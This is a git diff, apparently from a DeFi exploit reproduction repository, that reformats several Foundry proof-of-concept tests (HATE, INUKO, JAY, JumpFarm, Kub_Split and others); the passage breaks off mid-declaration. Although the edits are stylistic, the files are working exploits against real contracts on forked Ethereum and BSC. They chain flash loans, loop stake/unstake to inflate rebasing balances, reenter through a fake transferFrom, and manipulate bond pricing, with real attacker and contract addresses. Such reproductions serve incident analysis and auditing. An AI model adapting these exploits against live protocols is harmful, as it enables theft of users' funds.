WETH.decimals()); + uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp + ); + emit log_named_decimal_uint("WETH balance after swap", WETH.balanceOf(address(this)), WETH.decimals()); } - function testExploit2() external{ - vm.rollFork(18071199 - 1); + function testExploit2() external { + vm.rollFork(18_071_199 - 1); approveAll(); console.log("Before Start: %d ETH", WETH.balanceOf(address(this))); - flashAmount = HATE.balanceOf(address(HATE_ETH_Pair))*7/10; + flashAmount = HATE.balanceOf(address(HATE_ETH_Pair)) * 7 / 10; HATE_ETH_Pair.swap(flashAmount, 0, address(this), hex"1e"); - + address[] memory path = new address[](2); (path[0], path[1]) = (address(HATE), address(WETH)); - uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp); - emit log_named_decimal_uint("WETH balance after swap", WETH.balanceOf(address(this)), WETH.decimals()); + uniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( + HATE.balanceOf(address(this)), 0, path, address(this), block.timestamp + ); + emit log_named_decimal_uint("WETH balance after swap", WETH.balanceOf(address(this)), WETH.decimals()); } - function uniswapV2Call(address /*sender*/, uint amount0, uint /*amount1*/, bytes calldata data) external { - uint i = 0; - while(i < uint8(data[0])){ - uint balanceAttacker = HATE.balanceOf(address(this)); + function uniswapV2Call(address, /*sender*/ uint256 amount0, uint256, /*amount1*/ bytes calldata data) external { + uint256 i = 0; + while (i < uint8(data[0])) { + uint256 balanceAttacker = HATE.balanceOf(address(this)); HATEStaking.stake(address(this), balanceAttacker); - uint sTokenBalance = sHATE.balanceOf(address(this)); + uint256 sTokenBalance = sHATE.balanceOf(address(this)); HATEStaking.unstake(address(this), sTokenBalance, true); i += 1; - } - HATE.transfer(address(HATE_ETH_Pair), uint(amount0*1000/997) +1); + } + HATE.transfer(address(HATE_ETH_Pair), uint256(amount0 * 1000 / 997) + 1); } function approveAll() internal { diff --git a/src/test/HundredFinance_2_exp.sol b/src/test/HundredFinance_2_exp.sol index 7afe4a0a..ef7bf7ef 100644 --- a/src/test/HundredFinance_2_exp.sol +++ b/src/test/HundredFinance_2_exp.sol @@ -64,14 +64,14 @@ contract contractTest is Test { emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, 18); emit log_named_decimal_uint( "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); emit log_named_decimal_uint("Attacker SNX balance after exploit", SNX.balanceOf(address(this)), SNX.decimals()); emit log_named_decimal_uint( "Attacker sUSD balance after exploit", sUSD.balanceOf(address(this)), sUSD.decimals() - ); + ); emit log_named_decimal_uint( "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals() - ); + ); emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals()); } diff --git a/src/test/INUKO_exp.sol b/src/test/INUKO_exp.sol index 0b02a9ba..e1eac802 100644 --- a/src/test/INUKO_exp.sol +++ b/src/test/INUKO_exp.sol @@ -20,7 +20,7 @@ interface VBUSD { } interface VBNB { - function mint() payable external; + function mint() external payable; function redeemUnderlying(uint256 redeemAmount) external; } @@ -40,11 +40,11 @@ interface VUSDT { } interface Unitroller { - function getAccountLiquidity(address account) external returns(uint, uint, uint); - function enterMarkets(address[] calldata vTokens) external; + function getAccountLiquidity(address account) external returns (uint256, uint256, uint256); + function enterMarkets(address[] calldata vTokens) external; } -contract ContractTest is DSTest{ +contract ContractTest is DSTest { IERC20 INUKO = IERC20(0xEa51801b8F5B88543DdaD3D1727400c15b209D8f); IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955); IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); @@ -61,22 +61,22 @@ contract ContractTest is DSTest{ Unitroller unitroller = Unitroller(0xfD36E2c2a6789Db23113685031d7F16329158384); IERC20 token1; IERC20 token2; - uint amount1; - uint amount2; - uint amount3; - uint amount4; - uint amount5; - uint amount6; - uint amount7; - uint amount8; - uint amount9; - uint amount10; - uint amount11; - uint amount12; - uint amount13; - uint amount14; - uint amount15; - uint amount16; + uint256 amount1; + uint256 amount2; + uint256 amount3; + uint256 amount4; + uint256 amount5; + uint256 amount6; + uint256 amount7; + uint256 amount8; + uint256 amount9; + uint256 amount10; + uint256 amount11; + uint256 amount12; + uint256 amount13; + uint256 amount14; + uint256 amount15; + uint256 amount16; address constant dodo1 = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f; address constant dodo2 = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4; address constant dodo3 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE; @@ -87,15 +87,14 @@ contract ContractTest is DSTest{ address constant dodo8 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618; Bond bond = Bond(0x09beDDae85a9b5Ada57a5bd7979bb7b3dd08B538); - CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - // the ankr rpc maybe dont work , please use QuickNode - cheats.createSelectFork("bsc", 22169169); + // the ankr rpc maybe dont work , please use QuickNode + cheats.createSelectFork("bsc", 22_169_169); } - function testExploit() public payable{ + function testExploit() public payable { address(WBNB).call{value: 5 ether}(""); // add LP addLiquidity(); @@ -105,40 +104,28 @@ contract ContractTest is DSTest{ cheats.warp(block.timestamp + 3 * 24 * 60 * 60); claimAndSell(); - emit log_named_decimal_uint( - "[End] Attacker USDT balance after exploit", - USDT.balanceOf(address(this)), - 18 - ); + emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18); } function addLiquidity() internal { - WBNB.approve(address(Router), type(uint).max); - address [] memory path = new address[](3); + WBNB.approve(address(Router), type(uint256).max); + address[] memory path = new address[](3); path[0] = address(WBNB); path[1] = address(USDT); path[2] = address(INUKO); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - WBNB.balanceOf(address(this)) / 2, - 0, - path, - address(this), - block.timestamp + WBNB.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp ); - address [] memory path1 = new address[](2); + address[] memory path1 = new address[](2); path1[0] = address(WBNB); path1[1] = address(USDT); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - WBNB.balanceOf(address(this)), - 0, - path1, - address(this), - block.timestamp + WBNB.balanceOf(address(this)), 0, path1, address(this), block.timestamp ); - USDT.approve(address(Router), type(uint).max); - INUKO.approve(address(Router), type(uint).max); + USDT.approve(address(Router), type(uint256).max); + INUKO.approve(address(Router), type(uint256).max); Router.addLiquidity( address(USDT), address(INUKO), @@ -150,48 +137,45 @@ contract ContractTest is DSTest{ block.timestamp ); - Pair.approve(address(bond), type(uint).max); + Pair.approve(address(bond), type(uint256).max); } - function buyBond() internal{ + function buyBond() internal { token1 = IERC20(DVM(dodo1)._BASE_TOKEN_()); token2 = IERC20(DVM(dodo1)._QUOTE_TOKEN_()); - amount1 =token1.balanceOf(dodo1); + amount1 = token1.balanceOf(dodo1); amount2 = token2.balanceOf(dodo1); DVM(dodo1).flashLoan(amount1, amount2, address(this), new bytes(1)); //WBNB USDT } - function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) payable external{ - if(msg.sender == dodo1){ + function DPPFlashLoanCall( + address sender, + uint256 baseAmount, + uint256 quoteAmount, + bytes calldata data + ) external payable { + if (msg.sender == dodo1) { WBNB_BUSD_Pair_Loan(); - } - else if(msg.sender == dodo2){ + } else if (msg.sender == dodo2) { ETH_USDT_Pair_Loan1(); - } - else if(msg.sender == dodo3){ + } else if (msg.sender == dodo3) { WBNB_USDT_Pair_Loan(); - } - else if(msg.sender == dodo4){ + } else if (msg.sender == dodo4) { BTCB_BUSD_Pair_Loan(); - } - else if(msg.sender == dodo5){ + } else if (msg.sender == dodo5) { ETH_USDT_Pair_Loan2(); - } - else if(msg.sender == dodo6){ + } else if (msg.sender == dodo6) { ETH_BUSD_Pair_Loan(); - } - else if(msg.sender == dodo7){ + } else if (msg.sender == dodo7) { BTCB_USDT_Pair_Loan(); - } - else if(msg.sender == dodo8){ + } else if (msg.sender == dodo8) { venusLendingAndRepay(); BTCB.transfer(dodo8, amount15); USDT.transfer(dodo8, amount16); } - } - function WBNB_BUSD_Pair_Loan() internal{ + function WBNB_BUSD_Pair_Loan() internal { token1 = IERC20(DVM(dodo2)._BASE_TOKEN_()); token2 = IERC20(DVM(dodo2)._QUOTE_TOKEN_()); amount3 = token1.balanceOf(dodo2); @@ -201,47 +185,47 @@ contract ContractTest is DSTest{ USDT.transfer(dodo1, amount2); } - function ETH_USDT_Pair_Loan1() internal{ + function ETH_USDT_Pair_Loan1() internal { token1 = IERC20(DVM(dodo3)._BASE_TOKEN_()); token2 = IERC20(DVM(dodo3)._QUOTE_TOKEN_()); amount5 = token1.balanceOf(dodo3); amount6 = token2.balanceOf(dodo3); - DVM(dodo3).flashLoan(amount5, amount6, address(this), new bytes(1)); + DVM(dodo3).flashLoan(amount5, amount6, address(this), new bytes(1)); WBNB.transfer(dodo2, amount3); BUSD.transfer(dodo2, amount4); } - function WBNB_USDT_Pair_Loan() internal{ + function WBNB_USDT_Pair_Loan() internal { token1 = IERC20(DVM(dodo4)._BASE_TOKEN_()); token2 = IERC20(DVM(dodo4)._QUOTE_TOKEN_()); amount7 = token1.balanceOf(dodo4); amount8 = token2.balanceOf(dodo4); - DVM(dodo4).flashLoan(amount7, amount8, address(this), new bytes(1)); + DVM(dodo4).flashLoan(amount7, amount8, address(this), new bytes(1)); ETH.transfer(dodo3, amount5); USDT.transfer(dodo3, amount6); } - function BTCB_BUSD_Pair_Loan() internal{ + function BTCB_BUSD_Pair_Loan() internal { token1 = IERC20(DVM(dodo5)._BASE_TOKEN_()); token2 = IERC20(DVM(dodo5)._QUOTE_TOKEN_()); amount9 = token1.balanceOf(dodo5); amount10 = token2.balanceOf(dodo5); - DVM(dodo5).flashLoan(amount9, amount10, address(this), new bytes(1)); + DVM(dodo5).flashLoan(amount9, amount10, address(this), new bytes(1)); WBNB.transfer(dodo4, amount7); USDT.transfer(dodo4, amount8); } - function ETH_USDT_Pair_Loan2() internal{ + function ETH_USDT_Pair_Loan2() internal { token1 = IERC20(DVM(dodo6)._BASE_TOKEN_()); token2 = IERC20(DVM(dodo6)._QUOTE_TOKEN_()); amount11 = token1.balanceOf(dodo6); amount12 = token2.balanceOf(dodo6); - DVM(dodo6).flashLoan(amount11, amount12, address(this), new bytes(1)); + DVM(dodo6).flashLoan(amount11, amount12, address(this), new bytes(1)); BTCB.transfer(dodo5, amount9); BUSD.transfer(dodo5, amount10); } - function ETH_BUSD_Pair_Loan() internal{ + function ETH_BUSD_Pair_Loan() internal { token1 = IERC20(DVM(dodo7)._BASE_TOKEN_()); token2 = IERC20(DVM(dodo7)._QUOTE_TOKEN_()); amount13 = token1.balanceOf(dodo7); @@ -251,7 +235,7 @@ contract ContractTest is DSTest{ USDT.transfer(dodo6, amount12); } - function BTCB_USDT_Pair_Loan() internal{ + function BTCB_USDT_Pair_Loan() internal { token1 = IERC20(DVM(dodo8)._BASE_TOKEN_()); token2 = IERC20(DVM(dodo8)._QUOTE_TOKEN_()); amount15 = token1.balanceOf(dodo8); @@ -261,13 +245,13 @@ contract ContractTest is DSTest{ BUSD.transfer(dodo7, amount14); } - function venusLendingAndRepay() payable public { - uint BNBAmount = WBNB.balanceOf(address(this)); + function venusLendingAndRepay() public payable { + uint256 BNBAmount = WBNB.balanceOf(address(this)); address(WBNB).call(abi.encodeWithSignature("withdraw(uint)", BNBAmount)); - uint BUSDAmount = BUSD.balanceOf(address(this)); - uint ETHAmount = ETH.balanceOf(address(this)); - uint BTCBAmount = BTCB.balanceOf(address(this)); - address [] memory cTokens = new address[](5); + uint256 BUSDAmount = BUSD.balanceOf(address(this)); + uint256 ETHAmount = ETH.balanceOf(address(this)); + uint256 BTCBAmount = BTCB.balanceOf(address(this)); + address[] memory cTokens = new address[](5); cTokens[0] = address(vBNB); cTokens[1] = address(vUSDT); cTokens[2] = address(vBUSD); @@ -275,19 +259,19 @@ contract ContractTest is DSTest{ cTokens[4] = address(vBTC); unitroller.enterMarkets(cTokens); vBNB.mint{value: BNBAmount}(); - BUSD.approve(address(vBUSD), type(uint).max); + BUSD.approve(address(vBUSD), type(uint256).max); vBUSD.mint(BUSDAmount); - ETH.approve(address(vETH), type(uint).max); + ETH.approve(address(vETH), type(uint256).max); vETH.mint(ETHAmount); - BTCB.approve(address(vBTC), type(uint).max); + BTCB.approve(address(vBTC), type(uint256).max); vBTC.mint(BTCBAmount); - (, uint amount, ) = unitroller.getAccountLiquidity(address(this)); - + (, uint256 amount,) = unitroller.getAccountLiquidity(address(this)); + vUSDT.borrow(amount * 99 / 100); USDT.transfer(address(Pair), USDT.balanceOf(address(this))); bond.buyBond(Pair.balanceOf(address(this)), 0); Pair.skim(address(this)); - USDT.approve(address(vUSDT), type(uint).max); + USDT.approve(address(vUSDT), type(uint256).max); vUSDT.repayBorrow(amount * 99 / 100); vBNB.redeemUnderlying(BNBAmount); address(WBNB).call{value: address(this).balance}(""); @@ -296,36 +280,23 @@ contract ContractTest is DSTest{ vBTC.redeemUnderlying(BTCBAmount); } - - function claimAndSell() internal{ + function claimAndSell() internal { bond.claim(0); - INUKO.approve(address(Router), type(uint).max); - address [] memory path = new address[](2); + INUKO.approve(address(Router), type(uint256).max); + address[] memory path = new address[](2); path[0] = address(INUKO); path[1] = address(USDT); // TX LIMIT Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - 25_000 * 1e18, - 0, - path, - address(this), - block.timestamp + 25_000 * 1e18, 0, path, address(this), block.timestamp ); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - 25_000 * 1e18, - 0, - path, - address(this), - block.timestamp + 25_000 * 1e18, 0, path, address(this), block.timestamp ); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - INUKO.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + INUKO.balanceOf(address(this)), 0, path, address(this), block.timestamp ); } - receive() payable external{} + receive() external payable {} } diff --git a/src/test/InverseFinance_exp.sol b/src/test/InverseFinance_exp.sol index 92e5b9e9..eec78273 100644 --- a/src/test/InverseFinance_exp.sol +++ b/src/test/InverseFinance_exp.sol @@ -64,7 +64,7 @@ contract ContractTest is DSTest { yvCurve3Crypto.deposit(5_375_596_969_399_930_881_565, address(this)); emit log_named_uint( "Deposited to Yearns Vault, yvCurve3 balance of attacker:", yvCurve3Crypto.balanceOf(address(this)) - ); + ); yvCurve3Crypto.approve( 0x1429a930ec3bcf5Aa32EF298ccc5aB09836EF587, 100_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000_000 @@ -73,7 +73,7 @@ contract ContractTest is DSTest { emit log_named_uint( "Deposited to Inverse Yearn 3Crypto Vault, anYvCrv3Crypto balance of attacker:", anYvCrv3CryptoInverse.balanceOf(address(this)) - ); + ); address[] memory toEnter = new address[](1); toEnter[0] = 0x1429a930ec3bcf5Aa32EF298ccc5aB09836EF587; Unitroller.enterMarkets(toEnter); diff --git a/src/test/JAY_exp.sol b/src/test/JAY_exp.sol index 822885f6..eec1aa27 100644 --- a/src/test/JAY_exp.sol +++ b/src/test/JAY_exp.sol @@ -22,8 +22,7 @@ interface IJay { function balanceOf(address account) external view returns (uint256); } - -contract ContractTest is DSTest{ +contract ContractTest is DSTest { IJay JAY = IJay(0xf2919D1D80Aff2940274014bef534f7791906FF2); IBalancerVault Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); @@ -31,22 +30,19 @@ contract ContractTest is DSTest{ CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("mainnet", 16288199); // Fork mainnet at block 16288199 + cheats.createSelectFork("mainnet", 16_288_199); // Fork mainnet at block 16288199 } function testExploit() public { payable(address(0)).transfer(address(this).balance); - emit log_named_decimal_uint( - "[Start] ETH balance before exploitation:", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("[Start] ETH balance before exploitation:", address(this).balance, 18); // Setup up flashloan paramaters. address[] memory tokens = new address[](1); - tokens[0] = address(weth); + tokens[0] = address(weth); uint256[] memory amounts = new uint256[](1); amounts[0] = 72.5 ether; - bytes memory b = "0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000"; + bytes memory b = + "0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000"; // Execute the flashloan. It will return in receiveFlashLoan() Vault.flashLoan(address(this), tokens, amounts, b); } @@ -62,36 +58,36 @@ contract ContractTest is DSTest{ // Transfer WETH to ETH and start the attack. weth.withdraw(amounts[0]); - JAY.buyJay{value: 22 ether}(new address[](0),new uint256[](0),new address[](0),new uint256[](0),new uint256[](0)); + JAY.buyJay{value: 22 ether}( + new address[](0), new uint256[](0), new address[](0), new uint256[](0), new uint256[](0) + ); address[] memory erc721TokenAddress = new address[](1); erc721TokenAddress[0] = address(this); uint256[] memory erc721Ids = new uint256[](1); - erc721Ids[0]= 0; - - JAY.buyJay{value: 50.5 ether}(erc721TokenAddress, erc721Ids,new address[](0),new uint256[](0),new uint256[](0)); + erc721Ids[0] = 0; + + JAY.buyJay{value: 50.5 ether}( + erc721TokenAddress, erc721Ids, new address[](0), new uint256[](0), new uint256[](0) + ); JAY.sell(JAY.balanceOf(address(this))); - JAY.buyJay{value: 3.5 ether}(new address[](0),new uint256[](0),new address[](0),new uint256[](0),new uint256[](0)); - JAY.buyJay{value: 8 ether}(erc721TokenAddress,erc721Ids,new address[](0),new uint256[](0),new uint256[](0)); + JAY.buyJay{value: 3.5 ether}( + new address[](0), new uint256[](0), new address[](0), new uint256[](0), new uint256[](0) + ); + JAY.buyJay{value: 8 ether}(erc721TokenAddress, erc721Ids, new address[](0), new uint256[](0), new uint256[](0)); JAY.sell(JAY.balanceOf(address(this))); // Repay the flashloan by depositing ETH for WETH and transferring. address(weth).call{value: 72.5 ether}("deposit"); weth.transfer(address(Vault), 72.5 ether); - emit log_named_decimal_uint( - "[End] ETH balance after exploitation:", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("[End] ETH balance after exploitation:", address(this).balance, 18); } + function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { - JAY.sell(JAY.balanceOf(address(this))); // reenter call JAY.sell + JAY.sell(JAY.balanceOf(address(this))); // reenter call JAY.sell } - receive() external payable {} -} - - - + receive() external payable {} +} diff --git a/src/test/JumpFarm_exp.sol b/src/test/JumpFarm_exp.sol index b7276b3f..b78014d7 100644 --- a/src/test/JumpFarm_exp.sol +++ b/src/test/JumpFarm_exp.sol @@ -1,78 +1,82 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.10; - -import "forge-std/Test.sol"; -import "./interface.sol"; - -// @KeyInfo -- Total Lost : ~$2.4ETH -// Attacker : https://etherscan.io/address/0x6CE9fa08F139F5e48bc607845E57efE9AA34C9F6 -// Attack Contract : https://etherscan.io/address/0x154863eb71De4a34F88Ea57450840eAB1c71abA6 -// Attacker Transaction : https://explorer.phalcon.xyz/tx/eth/0x6189ad07894507d15c5dff83f547294e72f18561dc5662a8113f7eb932a5b079 - -// @Analysis -// https://twitter.com/DecurityHQ/status/1699384904218202618 - -interface IStaking { - function unstake(address _to, uint256 _amount, bool _rebase) external; - function stake(address _to, uint256 _amount) external; -} - - -contract JumpFarmExploit is Test { - IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); - IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); - IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); - IERC20 jump = IERC20(0x39d8BCb39DE75218E3C08200D95fde3a479D7a14); - IStaking staking = IStaking(0x05999eB831ae28Ca920cE645A5164fbdB1D74Fe9); - IERC20 sJump = IERC20(0xdd28c9d511a77835505d2fBE0c9779ED39733bdE); - - function setUp() public { - vm.createSelectFork("https://eth.llamarpc.com", 18070346); - - vm.label(address(balancer), "BalancerVault"); - vm.label(address(weth), "WETH"); - vm.label(address(router), "UniswapV2 Rounter"); - vm.label(address(jump), "jump"); - vm.label(address(staking), "staking"); - } - - function testExploit() public { - address[] memory token = new address[](1); - token[0] = address(weth); - uint256[] memory amount = new uint256[](1); - amount[0] = 15 * 1 ether; - balancer.flashLoan(address(this), token, amount, hex"28"); - - // weth.withdraw(weth.balanceOf(address(this))); - emit log_named_decimal_uint("eth balance after exploit", weth.balanceOf(address(this)), 18); - } - - function receiveFlashLoan(address[] memory /*tokens*/, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData) external { - weth.approve(address(router), type(uint256).max); - address[] memory path = new address[](2); - path[0] = address(weth); - path[1] = address(jump); - router.swapExactTokensForTokens(amounts[0], 0, path, address(this), block.timestamp); - jump.approve(address(staking), type(uint256).max); - sJump.approve(address(staking), type(uint256).max); - uint8 i = 0; - while(i < uint8(userData[0])) { - i += 1; - uint256 amountJump = jump.balanceOf(address(this)); - staking.stake(address(this), amountJump); - uint256 amountSJump = sJump.balanceOf(address(this)); - staking.unstake(address(this), amountSJump, true); - } - - jump.approve(address(router), type(uint256).max); - uint amount = jump.balanceOf(address(this)); - emit log_named_decimal_uint("jump token balance after exploit", amount, jump.decimals()); - - path[0] = address(jump); - path[1] = address(weth); - router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp); - weth.transfer(address(balancer), amounts[0]+feeAmounts[0]); - } - - receive() external payable {} -} \ No newline at end of file +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// @KeyInfo -- Total Lost : ~$2.4ETH +// Attacker : https://etherscan.io/address/0x6CE9fa08F139F5e48bc607845E57efE9AA34C9F6 +// Attack Contract : https://etherscan.io/address/0x154863eb71De4a34F88Ea57450840eAB1c71abA6 +// Attacker Transaction : https://explorer.phalcon.xyz/tx/eth/0x6189ad07894507d15c5dff83f547294e72f18561dc5662a8113f7eb932a5b079 + +// @Analysis +// https://twitter.com/DecurityHQ/status/1699384904218202618 + +interface IStaking { + function unstake(address _to, uint256 _amount, bool _rebase) external; + function stake(address _to, uint256 _amount) external; +} + +contract JumpFarmExploit is Test { + IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); + IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); + IERC20 jump = IERC20(0x39d8BCb39DE75218E3C08200D95fde3a479D7a14); + IStaking staking = IStaking(0x05999eB831ae28Ca920cE645A5164fbdB1D74Fe9); + IERC20 sJump = IERC20(0xdd28c9d511a77835505d2fBE0c9779ED39733bdE); + + function setUp() public { + vm.createSelectFork("https://eth.llamarpc.com", 18_070_346); + + vm.label(address(balancer), "BalancerVault"); + vm.label(address(weth), "WETH"); + vm.label(address(router), "UniswapV2 Rounter"); + vm.label(address(jump), "jump"); + vm.label(address(staking), "staking"); + } + + function testExploit() public { + address[] memory token = new address[](1); + token[0] = address(weth); + uint256[] memory amount = new uint256[](1); + amount[0] = 15 * 1 ether; + balancer.flashLoan(address(this), token, amount, hex"28"); + + // weth.withdraw(weth.balanceOf(address(this))); + emit log_named_decimal_uint("eth balance after exploit", weth.balanceOf(address(this)), 18); + } + + function receiveFlashLoan( + address[] memory, /*tokens*/ + uint256[] memory amounts, + uint256[] memory feeAmounts, + bytes memory userData + ) external { + weth.approve(address(router), type(uint256).max); + address[] memory path = new address[](2); + path[0] = address(weth); + path[1] = address(jump); + router.swapExactTokensForTokens(amounts[0], 0, path, address(this), block.timestamp); + jump.approve(address(staking), type(uint256).max); + sJump.approve(address(staking), type(uint256).max); + uint8 i = 0; + while (i < uint8(userData[0])) { + i += 1; + uint256 amountJump = jump.balanceOf(address(this)); + staking.stake(address(this), amountJump); + uint256 amountSJump = sJump.balanceOf(address(this)); + staking.unstake(address(this), amountSJump, true); + } + + jump.approve(address(router), type(uint256).max); + uint256 amount = jump.balanceOf(address(this)); + emit log_named_decimal_uint("jump token balance after exploit", amount, jump.decimals()); + + path[0] = address(jump); + path[1] = address(weth); + router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp); + weth.transfer(address(balancer), amounts[0] + feeAmounts[0]); + } + + receive() external payable {} +} diff --git a/src/test/Kub_Split_exp.sol b/src/test/Kub_Split_exp.sol index 6dd2346f..ca9134ec 100644 --- a/src/test/Kub_Split_exp.sol +++ b/src/test/Kub_Split_exp.sol @@ -14,13 +14,7 @@ import "./interface.sol"; // https://twitter.com/CertiKAlert/status/1705966214319612092 interface IStakingRewards { - function stake( - address token, - address token1, - address token2, - address up, - uint256 amount - ) external; + function stake(address token, address token1, address token2, address up, uint256 amount) external; function sell(address token, address token1, uint256 amount) external; } @@ -30,49 +24,29 @@ interface ISplit is IERC20 { } contract ContractTest is Test { - Uni_Pair_V2 private constant BUSDT_KUB_LP = - Uni_Pair_V2(0x39aDFE6ec5a19bb573a2Fd8A5028031C0dc57600); - Uni_Pair_V2 private constant KUB_Split = - Uni_Pair_V2(0x16bF07CC3b84c6C2F97c32a6C66aEB726AbfC570); - IERC20 private constant BUSDT = - IERC20(0x55d398326f99059fF775485246999027B3197955); - IERC20 private constant KUB = - IERC20(0x808602d91e58f2d58D7C09306044b88234ab4628); - ISplit private constant Split = - ISplit(0xc98E183D2e975F0567115CB13AF893F0E3c0d0bD); - IERC20 private constant fakeUSDC = - IERC20(0xa88D48a4c6D8dD6a166A71CC159A2c588Fa882BB); - IDPPOracle private constant DPPOracle1 = - IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); - IDPPOracle private constant DPPOracle2 = - IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A); - IDPPOracle private constant DPPOracle3 = - IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618); - IDPPOracle private constant DPPAdvanced = - IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); - IDPPOracle private constant DPP = - IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476); - Uni_Router_V2 private constant Router = - Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); - Uni_Router_V2 private constant PancakeRouter1 = - Uni_Router_V2(0xfDE81E1f340C3ec271142723781df9e685653213); - Uni_Router_V2 private constant PancakeRouter2 = - Uni_Router_V2(0x5D82aeA1fE75CB40AfE792dAe1cf76EA8E2808CE); - IStakingRewards private constant StakingRewards1 = - IStakingRewards(0x26Eea9ff2f3caDec4d6Fc4f462F677b58AB31Ab0); - IStakingRewards private constant StakingRewards2 = - IStakingRewards(0x3A006dD44a4a0e43C942f57d452a6a7Ada25AdC3); - Uni_Pair_V2 private constant BUSDT_Split = - Uni_Pair_V2(0xe4D038DE672e226877Db8FA2670C5ba9778155fF); - address private constant BUSDT_KUB = - 0x1E338D9Db6bb78cFd8eE1F756907899C006711AF; - address private constant upAddressForStake = - 0x67Bf514E9e07b2F95C8805f9a035f60512384d1c; - address private constant exploiter = - 0x7Ccf451D3c48C8bb747f42F29A0CdE4209FF863e; + Uni_Pair_V2 private constant BUSDT_KUB_LP = Uni_Pair_V2(0x39aDFE6ec5a19bb573a2Fd8A5028031C0dc57600); + Uni_Pair_V2 private constant KUB_Split = Uni_Pair_V2(0x16bF07CC3b84c6C2F97c32a6C66aEB726AbfC570); + IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955); + IERC20 private constant KUB = IERC20(0x808602d91e58f2d58D7C09306044b88234ab4628); + ISplit private constant Split = ISplit(0xc98E183D2e975F0567115CB13AF893F0E3c0d0bD); + IERC20 private constant fakeUSDC = IERC20(0xa88D48a4c6D8dD6a166A71CC159A2c588Fa882BB); + IDPPOracle private constant DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); + IDPPOracle private constant DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A); + IDPPOracle private constant DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618); + IDPPOracle private constant DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); + IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476); + Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + Uni_Router_V2 private constant PancakeRouter1 = Uni_Router_V2(0xfDE81E1f340C3ec271142723781df9e685653213); + Uni_Router_V2 private constant PancakeRouter2 = Uni_Router_V2(0x5D82aeA1fE75CB40AfE792dAe1cf76EA8E2808CE); + IStakingRewards private constant StakingRewards1 = IStakingRewards(0x26Eea9ff2f3caDec4d6Fc4f462F677b58AB31Ab0); + IStakingRewards private constant StakingRewards2 = IStakingRewards(0x3A006dD44a4a0e43C942f57d452a6a7Ada25AdC3); + Uni_Pair_V2 private constant BUSDT_Split = Uni_Pair_V2(0xe4D038DE672e226877Db8FA2670C5ba9778155fF); + address private 